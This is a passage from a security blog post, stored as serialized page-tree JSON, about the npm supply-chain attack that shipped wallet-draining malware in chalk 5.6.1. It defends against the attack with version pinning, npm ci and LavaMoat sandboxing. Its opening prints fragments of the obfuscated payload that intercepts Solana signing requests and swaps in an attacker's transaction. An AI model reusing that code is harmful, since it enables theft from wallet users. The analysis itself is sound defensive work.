(",{"type":25,"tag":201,"props":99563,"children":99564},{"style":246},[99565],{"type":31,"value":99331},{"type":25,"tag":201,"props":99567,"children":99568},{"style":220},[99569],{"type":31,"value":80},{"type":25,"tag":201,"props":99571,"children":99572},{"style":246},[99573],{"type":31,"value":39383},{"type":25,"tag":201,"props":99575,"children":99576},{"style":261},[99577],{"type":31,"value":264},{"type":25,"tag":201,"props":99579,"children":99580},{"style":267},[99581],{"type":31,"value":99582}," 'solana_signTransaction'",{"type":25,"tag":201,"props":99584,"children":99585},{"style":261},[99586],{"type":31,"value":99587}," ||\n",{"type":25,"tag":201,"props":99589,"children":99590},{"class":203,"line":490},[99591,99596,99600,99604,99608,99613,99617],{"type":25,"tag":201,"props":99592,"children":99593},{"style":246},[99594],{"type":31,"value":99595},"      _0x2c3d7e",{"type":25,"tag":201,"props":99597,"children":99598},{"style":220},[99599],{"type":31,"value":80},{"type":25,"tag":201,"props":99601,"children":99602},{"style":246},[99603],{"type":31,"value":39383},{"type":25,"tag":201,"props":99605,"children":99606},{"style":261},[99607],{"type":31,"value":264},{"type":25,"tag":201,"props":99609,"children":99610},{"style":267},[99611],{"type":31,"value":99612}," 'solana_signAndSendTransaction'",{"type":25,"tag":201,"props":99614,"children":99615},{"style":220},[99616],{"type":31,"value":385},{"type":25,"tag":201,"props":99618,"children":99619},{"style":261},[99620],{"type":31,"value":84899},{"type":25,"tag":201,"props":99622,"children":99623},{"class":203,"line":499},[99624,99628,99632,99636],{"type":25,"tag":201,"props":99625,"children":99626},{"style":246},[99627],{"type":31,"value":99470},{"type":25,"tag":201,"props":99629,"children":99630},{"style":220},[99631],{"type":31,"value":80},{"type":25,"tag":201,"props":99633,"children":99634},{"style":246},[99635],{"type":31,"value":99366},{"type":25,"tag":201,"props":99637,"children":99638},{"style":261},[99639],{"type":31,"value":53762},{"type":25,"tag":201,"props":99641,"children":99642},{"class":203,"line":522},[99643,99647,99651,99655,99659,99663],{"type":25,"tag":201,"props":99644,"children":99645},{"style":246},[99646],{"type":31,"value":99470},{"type":25,"tag":201,"props":99648,"children":99649},{"style":220},[99650],{"type":31,"value":80},{"type":25,"tag":201,"props":99652,"children":99653},{"style":246},[99654],{"type":31,"value":99366},{"type":25,"tag":201,"props":99656,"children":99657},{"style":220},[99658],{"type":31,"value":423},{"type":25,"tag":201,"props":99660,"children":99661},{"style":426},[99662],{"type":31,"value":429},{"type":25,"tag":201,"props":99664,"children":99665},{"style":220},[99666],{"type":31,"value":13274},{"type":25,"tag":201,"props":99668,"children":99669},{"class":203,"line":531},[99670],{"type":25,"tag":201,"props":99671,"children":99672},{"style":220},[99673],{"type":31,"value":99674},"  ) {\n",{"type":25,"tag":201,"props":99676,"children":99677},{"class":203,"line":550},[99678,99682],{"type":25,"tag":201,"props":99679,"children":99680},{"style":230},[99681],{"type":31,"value":71064},{"type":25,"tag":201,"props":99683,"children":99684},{"style":220},[99685],{"type":31,"value":327},{"type":25,"tag":201,"props":99687,"children":99688},{"class":203,"line":563},[99689,99693,99698,99702,99706,99710,99714,99718,99722],{"type":25,"tag":201,"props":99690,"children":99691},{"style":208},[99692],{"type":31,"value":505},{"type":25,"tag":201,"props":99694,"children":99695},{"style":246},[99696],{"type":31,"value":99697}," _0x5ad975",{"type":25,"tag":201,"props":99699,"children":99700},{"style":261},[99701],{"type":31,"value":413},{"type":25,"tag":201,"props":99703,"children":99704},{"style":246},[99705],{"type":31,"value":99357},{"type":25,"tag":201,"props":99707,"children":99708},{"style":220},[99709],{"type":31,"value":80},{"type":25,"tag":201,"props":99711,"children":99712},{"style":246},[99713],{"type":31,"value":99366},{"type":25,"tag":201,"props":99715,"children":99716},{"style":220},[99717],{"type":31,"value":423},{"type":25,"tag":201,"props":99719,"children":99720},{"style":426},[99721],{"type":31,"value":429},{"type":25,"tag":201,"props":99723,"children":99724},{"style":220},[99725],{"type":31,"value":434},{"type":25,"tag":201,"props":99727,"children":99728},{"class":203,"line":572},[99729,99733,99737,99742,99746,99751],{"type":25,"tag":201,"props":99730,"children":99731},{"style":230},[99732],{"type":31,"value":40357},{"type":25,"tag":201,"props":99734,"children":99735},{"style":220},[99736],{"type":31,"value":238},{"type":25,"tag":201,"props":99738,"children":99739},{"style":246},[99740],{"type":31,"value":99741},"_0x5ad975",{"type":25,"tag":201,"props":99743,"children":99744},{"style":220},[99745],{"type":31,"value":80},{"type":25,"tag":201,"props":99747,"children":99748},{"style":246},[99749],{"type":31,"value":99750},"transaction",{"type":25,"tag":201,"props":99752,"children":99753},{"style":220},[99754],{"type":31,"value":275},{"type":25,"tag":201,"props":99756,"children":99757},{"class":203,"line":590},[99758,99763,99767,99771,99775,99779],{"type":25,"tag":201,"props":99759,"children":99760},{"style":246},[99761],{"type":31,"value":99762},"        _0x5ad975",{"type":25,"tag":201,"props":99764,"children":99765},{"style":261},[99766],{"type":31,"value":413},{"type":25,"tag":201,"props":99768,"children":99769},{"style":246},[99770],{"type":31,"value":99697},{"type":25,"tag":201,"props":99772,"children":99773},{"style":220},[99774],{"type":31,"value":80},{"type":25,"tag":201,"props":99776,"children":99777},{"style":246},[99778],{"type":31,"value":99750},{"type":25,"tag":201,"props":99780,"children":99781},{"style":220},[99782],{"type":31,"value":461},{"type":25,"tag":201,"props":99784,"children":99785},{"class":203,"line":608},[99786],{"type":25,"tag":201,"props":99787,"children":99788},{"style":220},[99789],{"type":31,"value":14166},{"type":25,"tag":201,"props":99791,"children":99792},{"class":203,"line":617},[99793,99797,99802,99806,99810,99814,99818,99822,99826],{"type":25,"tag":201,"props":99794,"children":99795},{"style":208},[99796],{"type":31,"value":403},{"type":25,"tag":201,"props":99798,"children":99799},{"style":246},[99800],{"type":31,"value":99801}," _0x5dbe63",{"type":25,"tag":201,"props":99803,"children":99804},{"style":261},[99805],{"type":31,"value":413},{"type":25,"tag":201,"props":99807,"children":99808},{"style":214},[99809],{"type":31,"value":99426},{"type":25,"tag":201,"props":99811,"children":99812},{"style":220},[99813],{"type":31,"value":298},{"type":25,"tag":201,"props":99815,"children":99816},{"style":246},[99817],{"type":31,"value":99741},{"type":25,"tag":201,"props":99819,"children":99820},{"style":220},[99821],{"type":31,"value":919},{"type":25,"tag":201,"props":99823,"children":99824},{"style":208},[99825],{"type":31,"value":9683},{"type":25,"tag":201,"props":99827,"children":99828},{"style":220},[99829],{"type":31,"value":308},{"type":25,"tag":201,"props":99831,"children":99832},{"class":203,"line":625},[99833,99837,99841,99845,99849,99853,99857,99861,99865,99869],{"type":25,"tag":201,"props":99834,"children":99835},{"style":230},[99836],{"type":31,"value":40357},{"type":25,"tag":201,"props":99838,"children":99839},{"style":220},[99840],{"type":31,"value":238},{"type":25,"tag":201,"props":99842,"children":99843},{"style":246},[99844],{"type":31,"value":99331},{"type":25,"tag":201,"props":99846,"children":99847},{"style":220},[99848],{"type":31,"value":80},{"type":25,"tag":201,"props":99850,"children":99851},{"style":246},[99852],{"type":31,"value":99366},{"type":25,"tag":201,"props":99854,"children":99855},{"style":220},[99856],{"type":31,"value":423},{"type":25,"tag":201,"props":99858,"children":99859},{"style":426},[99860],{"type":31,"value":429},{"type":25,"tag":201,"props":99862,"children":99863},{"style":220},[99864],{"type":31,"value":51426},{"type":25,"tag":201,"props":99866,"children":99867},{"style":246},[99868],{"type":31,"value":99750},{"type":25,"tag":201,"props":99870,"children":99871},{"style":220},[99872],{"type":31,"value":275},{"type":25,"tag":201,"props":99874,"children":99875},{"class":203,"line":642},[99876,99881,99885,99889,99893,99897,99901,99905,99909,99913],{"type":25,"tag":201,"props":99877,"children":99878},{"style":246},[99879],{"type":31,"value":99880},"        _0x2c3d7e",{"type":25,"tag":201,"props":99882,"children":99883},{"style":220},[99884],{"type":31,"value":80},{"type":25,"tag":201,"props":99886,"children":99887},{"style":246},[99888],{"type":31,"value":99366},{"type":25,"tag":201,"props":99890,"children":99891},{"style":220},[99892],{"type":31,"value":423},{"type":25,"tag":201,"props":99894,"children":99895},{"style":426},[99896],{"type":31,"value":429},{"type":25,"tag":201,"props":99898,"children":99899},{"style":220},[99900],{"type":31,"value":51426},{"type":25,"tag":201,"props":99902,"children":99903},{"style":246},[99904],{"type":31,"value":99750},{"type":25,"tag":201,"props":99906,"children":99907},{"style":261},[99908],{"type":31,"value":413},{"type":25,"tag":201,"props":99910,"children":99911},{"style":246},[99912],{"type":31,"value":99801},{"type":25,"tag":201,"props":99914,"children":99915},{"style":220},[99916],{"type":31,"value":461},{"type":25,"tag":201,"props":99918,"children":99919},{"class":203,"line":659},[99920,99924,99928],{"type":25,"tag":201,"props":99921,"children":99922},{"style":220},[99923],{"type":31,"value":40010},{"type":25,"tag":201,"props":99925,"children":99926},{"style":230},[99927],{"type":31,"value":322},{"type":25,"tag":201,"props":99929,"children":99930},{"style":220},[99931],{"type":31,"value":327},{"type":25,"tag":201,"props":99933,"children":99934},{"class":203,"line":667},[99935,99939,99943,99947,99951,99955,99959,99963,99967],{"type":25,"tag":201,"props":99936,"children":99937},{"style":246},[99938],{"type":31,"value":99880},{"type":25,"tag":201,"props":99940,"children":99941},{"style":220},[99942],{"type":31,"value":80},{"type":25,"tag":201,"props":99944,"children":99945},{"style":246},[99946],{"type":31,"value":99366},{"type":25,"tag":201,"props":99948,"children":99949},{"style":220},[99950],{"type":31,"value":423},{"type":25,"tag":201,"props":99952,"children":99953},{"style":426},[99954],{"type":31,"value":429},{"type":25,"tag":201,"props":99956,"children":99957},{"style":220},[99958],{"type":31,"value":10169},{"type":25,"tag":201,"props":99960,"children":99961},{"style":261},[99962],{"type":31,"value":1383},{"type":25,"tag":201,"props":99964,"children":99965},{"style":246},[99966],{"type":31,"value":99801},{"type":25,"tag":201,"props":99968,"children":99969},{"style":220},[99970],{"type":31,"value":461},{"type":25,"tag":201,"props":99972,"children":99973},{"class":203,"line":676},[99974],{"type":25,"tag":201,"props":99975,"children":99976},{"style":220},[99977],{"type":31,"value":14166},{"type":25,"tag":201,"props":99979,"children":99980},{"class":203,"line":694},[99981,99985,99989,99993,99998],{"type":25,"tag":201,"props":99982,"children":99983},{"style":220},[99984],{"type":31,"value":17274},{"type":25,"tag":201,"props":99986,"children":99987},{"style":230},[99988],{"type":31,"value":49488},{"type":25,"tag":201,"props":99990,"children":99991},{"style":220},[99992],{"type":31,"value":238},{"type":25,"tag":201,"props":99994,"children":99995},{"style":246},[99996],{"type":31,"value":99997},"_0x4b99fd",{"type":25,"tag":201,"props":99999,"children":100000},{"style":220},[100001],{"type":31,"value":99527},{"type":25,"tag":201,"props":100003,"children":100004},{"class":203,"line":707},[100005],{"type":25,"tag":201,"props":100006,"children":100007},{"style":220},[100008],{"type":31,"value":1178},{"type":25,"tag":201,"props":100010,"children":100011},{"class":203,"line":715},[100012],{"type":25,"tag":201,"props":100013,"children":100014},{"style":220},[100015],{"type":31,"value":1187},{"type":25,"tag":40,"props":100017,"children":100019},{"id":100018},"impact-of-the-attack",[100020],{"type":31,"value":100021},"Impact of the Attack",{"type":25,"tag":34,"props":100023,"children":100024},{},[100025],{"type":31,"value":100026},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":25,"tag":26,"props":100028,"children":100030},{"id":100029},"why-it-will-happen-again",[100031],{"type":31,"value":100032},"Why It Will Happen Again",{"type":25,"tag":34,"props":100034,"children":100035},{},[100036],{"type":31,"value":100037},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":25,"tag":34,"props":100039,"children":100040},{},[100041],{"type":31,"value":100042},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":25,"tag":26,"props":100044,"children":100046},{"id":100045},"what-developers-can-do",[100047],{"type":31,"value":100048},"What Developers Can Do",{"type":25,"tag":34,"props":100050,"children":100051},{},[100052],{"type":31,"value":100053},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":25,"tag":40,"props":100055,"children":100057},{"id":100056},"_1-version-pinning-in-packagejson",[100058,100060],{"type":31,"value":100059},"1. Version pinning in ",{"type":25,"tag":115,"props":100061,"children":100063},{"className":100062},[],[100064],{"type":31,"value":100065},"package.json",{"type":25,"tag":34,"props":100067,"children":100068},{},[100069],{"type":31,"value":100070},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":25,"tag":34,"props":100072,"children":100073},{},[100074,100076,100082,100084,100089,100091,100096],{"type":31,"value":100075},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":25,"tag":115,"props":100077,"children":100079},{"className":100078},[],[100080],{"type":31,"value":100081},"npm install",{"type":31,"value":100083},". To pin it, just make sure to remove the caret ",{"type":25,"tag":115,"props":100085,"children":100087},{"className":100086},[],[100088],{"type":31,"value":50011},{"type":31,"value":100090}," symbol before the version in ",{"type":25,"tag":115,"props":100092,"children":100094},{"className":100093},[],[100095],{"type":31,"value":100065},{"type":31,"value":5997},{"type":25,"tag":191,"props":100098,"children":100100},{"code":100099,"language":2933,"meta":7,"className":2931,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[100101],{"type":25,"tag":115,"props":100102,"children":100103},{"__ignoreMap":7},[100104,100125,100146,100167],{"type":25,"tag":201,"props":100105,"children":100106},{"class":203,"line":204},[100107,100112,100116,100121],{"type":25,"tag":201,"props":100108,"children":100109},{"style":267},[100110],{"type":31,"value":100111},"\"@react-native-async-storage/async-storage\"",{"type":25,"tag":201,"props":100113,"children":100114},{"style":220},[100115],{"type":31,"value":2957},{"type":25,"tag":201,"props":100117,"children":100118},{"style":267},[100119],{"type":31,"value":100120},"\"1.23.1\"",{"type":25,"tag":201,"props":100122,"children":100123},{"style":220},[100124],{"type":31,"value":547},{"type":25,"tag":201,"props":100126,"children":100127},{"class":203,"line":226},[100128,100133,100137,100142],{"type":25,"tag":201,"props":100129,"children":100130},{"style":267},[100131],{"type":31,"value":100132},"\"@react-native-community/datetimepicker\"",{"type":25,"tag":201,"props":100134,"children":100135},{"style":220},[100136],{"type":31,"value":2957},{"type":25,"tag":201,"props":100138,"children":100139},{"style":267},[100140],{"type":31,"value":100141},"\"8.3.0\"",{"type":25,"tag":201,"props":100143,"children":100144},{"style":220},[100145],{"type":31,"value":547},{"type":25,"tag":201,"props":100147,"children":100148},{"class":203,"line":278},[100149,100154,100158,100163],{"type":25,"tag":201,"props":100150,"children":100151},{"style":267},[100152],{"type":31,"value":100153},"\"@react-native-community/netinfo\"",{"type":25,"tag":201,"props":100155,"children":100156},{"style":220},[100157],{"type":31,"value":2957},{"type":25,"tag":201,"props":100159,"children":100160},{"style":267},[100161],{"type":31,"value":100162},"\"11.4.1\"",{"type":25,"tag":201,"props":100164,"children":100165},{"style":220},[100166],{"type":31,"value":547},{"type":25,"tag":201,"props":100168,"children":100169},{"class":203,"line":311},[100170,100175,100179],{"type":25,"tag":201,"props":100171,"children":100172},{"style":267},[100173],{"type":31,"value":100174},"\"@react-native-picker/picker\"",{"type":25,"tag":201,"props":100176,"children":100177},{"style":220},[100178],{"type":31,"value":2957},{"type":25,"tag":201,"props":100180,"children":100181},{"style":267},[100182],{"type":31,"value":100183},"\"2.11.0\"\n",{"type":25,"tag":40,"props":100185,"children":100187},{"id":100186},"_2-use-npm-ci",[100188,100190],{"type":31,"value":100189},"2. Use ",{"type":25,"tag":115,"props":100191,"children":100193},{"className":100192},[],[100194],{"type":31,"value":100195},"npm ci",{"type":25,"tag":34,"props":100197,"children":100198},{},[100199,100204,100206,100212,100214,100219],{"type":25,"tag":115,"props":100200,"children":100202},{"className":100201},[],[100203],{"type":31,"value":100195},{"type":31,"value":100205}," uses the dependency versions from ",{"type":25,"tag":115,"props":100207,"children":100209},{"className":100208},[],[100210],{"type":31,"value":100211},"package-lock.json",{"type":31,"value":100213}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":25,"tag":115,"props":100215,"children":100217},{"className":100216},[],[100218],{"type":31,"value":100081},{"type":31,"value":100220}," when adding a new package or updating an existing one.",{"type":25,"tag":40,"props":100222,"children":100224},{"id":100223},"_3-implement-lavamoat",[100225,100227],{"type":31,"value":100226},"3. Implement ",{"type":25,"tag":71,"props":100228,"children":100231},{"href":100229,"rel":100230},"https://github.com/LavaMoat/LavaMoat/tree/main",[75],[100232],{"type":25,"tag":1252,"props":100233,"children":100234},{},[100235],{"type":31,"value":100236},"Lavamoat",{"type":25,"tag":34,"props":100238,"children":100239},{},[100240],{"type":31,"value":100241},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":25,"tag":34,"props":100243,"children":100244},{},[100245],{"type":31,"value":100246},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":25,"tag":191,"props":100248,"children":100250},{"code":100249,"language":2933,"meta":7,"className":2931,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[100251],{"type":25,"tag":115,"props":100252,"children":100253},{"__ignoreMap":7},[100254,100266,100278,100289,100305,100312,100319,100331,100342,100362,100378,100385,100396,100416,100432,100439,100446],{"type":25,"tag":201,"props":100255,"children":100256},{"class":203,"line":204},[100257,100262],{"type":25,"tag":201,"props":100258,"children":100259},{"style":267},[100260],{"type":31,"value":100261},"\"resources\"",{"type":25,"tag":201,"props":100263,"children":100264},{"style":220},[100265],{"type":31,"value":38092},{"type":25,"tag":201,"props":100267,"children":100268},{"class":203,"line":226},[100269,100274],{"type":25,"tag":201,"props":100270,"children":100271},{"style":246},[100272],{"type":31,"value":100273},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":25,"tag":201,"props":100275,"children":100276},{"style":220},[100277],{"type":31,"value":38092},{"type":25,"tag":201,"props":100279,"children":100280},{"class":203,"line":278},[100281,100285],{"type":25,"tag":201,"props":100282,"children":100283},{"style":246},[100284],{"type":31,"value":38100},{"type":25,"tag":201,"props":100286,"children":100287},{"style":220},[100288],{"type":31,"value":38092},{"type":25,"tag":201,"props":100290,"children":100291},{"class":203,"line":311},[100292,100297,100301],{"type":25,"tag":201,"props":100293,"children":100294},{"style":246},[100295],{"type":31,"value":100296},"        \"TextEncoder\"",{"type":25,"tag":201,"props":100298,"children":100299},{"style":220},[100300],{"type":31,"value":2957},{"type":25,"tag":201,"props":100302,"children":100303},{"style":208},[100304],{"type":31,"value":38261},{"type":25,"tag":201,"props":100306,"children":100307},{"class":203,"line":330},[100308],{"type":25,"tag":201,"props":100309,"children":100310},{"style":220},[100311],{"type":31,"value":14166},{"type":25,"tag":201,"props":100313,"children":100314},{"class":203,"line":397},[100315],{"type":25,"tag":201,"props":100316,"children":100317},{"style":220},[100318],{"type":31,"value":26866},{"type":25,"tag":201,"props":100320,"children":100321},{"class":203,"line":437},[100322,100327],{"type":25,"tag":201,"props":100323,"children":100324},{"style":246},[100325],{"type":31,"value":100326},"    \"@ethereumjs/util\"",{"type":25,"tag":201,"props":100328,"children":100329},{"style":220},[100330],{"type":31,"value":38092},{"type":25,"tag":201,"props":100332,"children":100333},{"class":203,"line":464},[100334,100338],{"type":25,"tag":201,"props":100335,"children":100336},{"style":246},[100337],{"type":31,"value":38100},{"type":25,"tag":201,"props":100339,"children":100340},{"style":220},[100341],{"type":31,"value":38092},{"type":25,"tag":201,"props":100343,"children":100344},{"class":203,"line":490},[100345,100350,100354,100358],{"type":25,"tag":201,"props":100346,"children":100347},{"style":246},[100348],{"type":31,"value":100349},"        \"console.warn\"",{"type":25,"tag":201,"props":100351,"children":100352},{"style":220},[100353],{"type":31,"value":2957},{"type":25,"tag":201,"props":100355,"children":100356},{"style":208},[100357],{"type":31,"value":5497},{"type":25,"tag":201,"props":100359,"children":100360},{"style":220},[100361],{"type":31,"value":547},{"type":25,"tag":201,"props":100363,"children":100364},{"class":203,"line":499},[100365,100370,100374],{"type":25,"tag":201,"props":100366,"children":100367},{"style":246},[100368],{"type":31,"value":100369},"        \"fetch\"",{"type":25,"tag":201,"props":100371,"children":100372},{"style":220},[100373],{"type":31,"value":2957},{"type":25,"tag":201,"props":100375,"children":100376},{"style":208},[100377],{"type":31,"value":38261},{"type":25,"tag":201,"props":100379,"children":100380},{"class":203,"line":522},[100381],{"type":25,"tag":201,"props":100382,"children":100383},{"style":220},[100384],{"type":31,"value":38269},{"type":25,"tag":201,"props":100386,"children":100387},{"class":203,"line":531},[100388,100392],{"type":25,"tag":201,"props":100389,"children":100390},{"style":246},[100391],{"type":31,"value":38277},{"type":25,"tag":201,"props":100393,"children":100394},{"style":220},[100395],{"type":31,"value":38092},{"type":25,"tag":201,"props":100397,"children":100398},{"class":203,"line":550},[100399,100404,100408,100412],{"type":25,"tag":201,"props":100400,"children":100401},{"style":246},[100402],{"type":31,"value":100403},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":25,"tag":201,"props":100405,"children":100406},{"style":220},[100407],{"type":31,"value":2957},{"type":25,"tag":201,"props":100409,"children":100410},{"style":208},[100411],{"type":31,"value":5497},{"type":25,"tag":201,"props":100413,"children":100414},{"style":220},[100415],{"type":31,"value":547},{"type":25,"tag":201,"props":100417,"children":100418},{"class":203,"line":563},[100419,100424,100428],{"type":25,"tag":201,"props":100420,"children":100421},{"style":246},[100422],{"type":31,"value":100423},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":25,"tag":201,"props":100425,"children":100426},{"style":220},[100427],{"type":31,"value":2957},{"type":25,"tag":201,"props":100429,"children":100430},{"style":208},[100431],{"type":31,"value":38261},{"type":25,"tag":201,"props":100433,"children":100434},{"class":203,"line":572},[100435],{"type":25,"tag":201,"props":100436,"children":100437},{"style":220},[100438],{"type":31,"value":14166},{"type":25,"tag":201,"props":100440,"children":100441},{"class":203,"line":590},[100442],{"type":25,"tag":201,"props":100443,"children":100444},{"style":220},[100445],{"type":31,"value":4861},{"type":25,"tag":201,"props":100447,"children":100448},{"class":203,"line":608},[100449],{"type":25,"tag":201,"props":100450,"children":100451},{"style":220},[100452],{"type":31,"value":1187},{"type":25,"tag":34,"props":100454,"children":100455},{},[100456,100458,100464,100466,100472,100473,100478,100480,100486,100487,100493],{"type":31,"value":100457},"In this example, it restricts the ",{"type":25,"tag":115,"props":100459,"children":100461},{"className":100460},[],[100462],{"type":31,"value":100463},"@ethereumjs/util",{"type":31,"value":100465}," package to use only ",{"type":25,"tag":115,"props":100467,"children":100469},{"className":100468},[],[100470],{"type":31,"value":100471},"console.warn",{"type":31,"value":12493},{"type":25,"tag":115,"props":100474,"children":100476},{"className":100475},[],[100477],{"type":31,"value":3031},{"type":31,"value":100479}," functions, and to include only ",{"type":25,"tag":115,"props":100481,"children":100483},{"className":100482},[],[100484],{"type":31,"value":100485},"@ethereumjs/rlp",{"type":31,"value":12493},{"type":25,"tag":115,"props":100488,"children":100490},{"className":100489},[],[100491],{"type":31,"value":100492},"ethereum-cryptography",{"type":31,"value":100494}," packages.",{"type":25,"tag":34,"props":100496,"children":100497},{},[100498],{"type":31,"value":100499},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":25,"tag":34,"props":100501,"children":100502},{},[100503,100505,100511],{"type":31,"value":100504},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":25,"tag":71,"props":100506,"children":100509},{"href":100507,"rel":100508},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[75],[100510],{"type":31,"value":38447},{"type":31,"value":80},{"type":25,"tag":40,"props":100513,"children":100515},{"id":100514},"lavamoat-vs-qix-malware",[100516],{"type":31,"value":100517},"Lavamoat vs Qix Malware",{"type":25,"tag":34,"props":100519,"children":100520},{},[100521,100523,100528],{"type":31,"value":100522},"If a dApp were compromised with the Qix malware (say it used ",{"type":25,"tag":115,"props":100524,"children":100526},{"className":100525},[],[100527],{"type":31,"value":98368},{"type":31,"value":100529},"), it would need to perform the following actions to drain funds from a wallet:",{"type":25,"tag":6944,"props":100531,"children":100532},{},[100533,100545,100556,100567],{"type":25,"tag":6948,"props":100534,"children":100535},{},[100536,100538,100543],{"type":31,"value":100537},"Replace ",{"type":25,"tag":115,"props":100539,"children":100541},{"className":100540},[],[100542],{"type":31,"value":3031},{"type":31,"value":100544}," function to a custom one",{"type":25,"tag":6948,"props":100546,"children":100547},{},[100548,100550],{"type":31,"value":100549},"Access ",{"type":25,"tag":115,"props":100551,"children":100553},{"className":100552},[],[100554],{"type":31,"value":100555},"window.ethereum",{"type":25,"tag":6948,"props":100557,"children":100558},{},[100559,100561,100566],{"type":31,"value":100560},"Call original ",{"type":25,"tag":115,"props":100562,"children":100564},{"className":100563},[],[100565],{"type":31,"value":3031},{"type":31,"value":39284},{"type":25,"tag":6948,"props":100568,"children":100569},{},[100570],{"type":31,"value":100571},"Plus other actions not relevant here",{"type":25,"tag":34,"props":100573,"children":100574},{},[100575,100577,100583],{"type":31,"value":100576},"If the dApp is using Lavamoat with a generated policy for ",{"type":25,"tag":115,"props":100578,"children":100580},{"className":100579},[],[100581],{"type":31,"value":100582},"chalk 5.6.0",{"type":31,"value":100584}," (non-malicious version) it would look like this:",{"type":25,"tag":191,"props":100586,"children":100588},{"code":100587,"language":2933,"meta":7,"className":2931,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[100589],{"type":25,"tag":115,"props":100590,"children":100591},{"__ignoreMap":7},[100592,100604,100615,100635,100651,100658],{"type":25,"tag":201,"props":100593,"children":100594},{"class":203,"line":204},[100595,100600],{"type":25,"tag":201,"props":100596,"children":100597},{"style":267},[100598],{"type":31,"value":100599},"\"chalk\"",{"type":25,"tag":201,"props":100601,"children":100602},{"style":220},[100603],{"type":31,"value":38092},{"type":25,"tag":201,"props":100605,"children":100606},{"class":203,"line":226},[100607,100611],{"type":25,"tag":201,"props":100608,"children":100609},{"style":246},[100610],{"type":31,"value":38100},{"type":25,"tag":201,"props":100612,"children":100613},{"style":220},[100614],{"type":31,"value":38092},{"type":25,"tag":201,"props":100616,"children":100617},{"class":203,"line":278},[100618,100623,100627,100631],{"type":25,"tag":201,"props":100619,"children":100620},{"style":246},[100621],{"type":31,"value":100622},"        \"navigator.userAgent\"",{"type":25,"tag":201,"props":100624,"children":100625},{"style":220},[100626],{"type":31,"value":2957},{"type":25,"tag":201,"props":100628,"children":100629},{"style":208},[100630],{"type":31,"value":5497},{"type":25,"tag":201,"props":100632,"children":100633},{"style":220},[100634],{"type":31,"value":547},{"type":25,"tag":201,"props":100636,"children":100637},{"class":203,"line":311},[100638,100643,100647],{"type":25,"tag":201,"props":100639,"children":100640},{"style":246},[100641],{"type":31,"value":100642},"        \"navigator.userAgentData\"",{"type":25,"tag":201,"props":100644,"children":100645},{"style":220},[100646],{"type":31,"value":2957},{"type":25,"tag":201,"props":100648,"children":100649},{"style":208},[100650],{"type":31,"value":38261},{"type":25,"tag":201,"props":100652,"children":100653},{"class":203,"line":330},[100654],{"type":25,"tag":201,"props":100655,"children":100656},{"style":220},[100657],{"type":31,"value":14166},{"type":25,"tag":201,"props":100659,"children":100660},{"class":203,"line":397},[100661],{"type":25,"tag":201,"props":100662,"children":100663},{"style":220},[100664],{"type":31,"value":26866},{"type":25,"tag":34,"props":100666,"children":100667},{},[100668,100670,100676],{"type":31,"value":100669},"That means that the chalk dependency can only access these two global attributes from ",{"type":25,"tag":115,"props":100671,"children":100673},{"className":100672},[],[100674],{"type":31,"value":100675},"navigator",{"type":31,"value":80},{"type":25,"tag":34,"props":100678,"children":100679},{},[100680,100682,100688],{"type":31,"value":100681},"When the compromised dApp would execute the malicious payload of ",{"type":25,"tag":115,"props":100683,"children":100685},{"className":100684},[],[100686],{"type":31,"value":100687},"chalk v5.6.1",{"type":31,"value":100689}," it would fail due to insufficient permissions:",{"type":25,"tag":34,"props":100691,"children":100692},{},[100693],{"type":25,"tag":127,"props":100694,"children":100696},{"alt":51656,"src":100695},"/posts/supply-chain-attcks/error.png",[],{"type":25,"tag":34,"props":100698,"children":100699},{},[100700,100702,100707],{"type":31,"value":100701},"This error shows that the malware failed since it cannot redefine ",{"type":25,"tag":115,"props":100703,"children":100705},{"className":100704},[],[100706],{"type":31,"value":3031},{"type":31,"value":26953},{"type":25,"tag":191,"props":100709,"children":100711},{"code":100710},"TypeError#1: Cannot define property fetch, object is not extensible\n",[100712],{"type":25,"tag":115,"props":100713,"children":100714},{"__ignoreMap":7},[100715],{"type":31,"value":100710},{"type":25,"tag":26,"props":100717,"children":100719},{"id":100718},"lavamoat-in-practice",[100720],{"type":31,"value":100721},"Lavamoat In Practice",{"type":25,"tag":34,"props":100723,"children":100724},{},[100725,100727,100734],{"type":31,"value":100726},"The OtterSec team audited the 